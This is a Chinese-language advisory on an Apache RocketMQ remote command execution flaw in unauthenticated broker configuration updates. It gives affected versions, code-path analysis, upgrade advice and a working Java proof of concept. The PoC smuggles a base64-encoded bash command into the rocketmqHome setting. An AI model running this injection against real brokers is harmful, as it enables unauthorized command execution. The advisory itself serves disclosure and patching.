1.漏洞描述
RocketMQ是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。
Apache RocketMQ此漏洞是一个远程命令执行漏洞。RocketMQ的NameServer、Broker、Controller等多个组件缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
2.影响版本
Apache RocketMQ <= 5.1.0 Apache RocketMQ <= 4.9.5
3.影响范围
4.漏洞分析
在函数 org.apache.rocketmq.broker.filtersrv.FilterServerManager 61行
调用下面的 createFilterServer 方法,71行中看到从配置文件中获取参数。72行调用方法 buildStartCommand
该方法中取到变量 NamesrvAddr 和 RocketmqHome ,获取之后进行拼接cmd,在72行拿到拼接后的 cmd
进入for循环后在 org.apache.rocketmq.broker.filtersrv.FilterServerUtil 中给的 callshell 方法去执行命令
该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
Poc:
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Properties;
public class EXP {
public static void main(String[]args) throws Exception{
// 创建 Properties 对象
Properties props = new Properties();
props.setProperty("rocketmqHome","-c {echo,dG91Y2ggL3RtcC9mbGFn}|{base64,-d}|bash -c");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("127.0.0.1:9876");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig("127.0.0.1:10911", props);
Properties brokerConfig = admin.getBrokerConfig("127.0.0.1:10911");
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
// 关闭 DefaultMQAdminExt 对象
admin.shutdown();
}
}
5. 修复建议
厂商已发布了漏洞修复程序,建议用户升级到如下版本:
Apache RocketMQ 5.1.1
Apache RocketMQ 4.9.6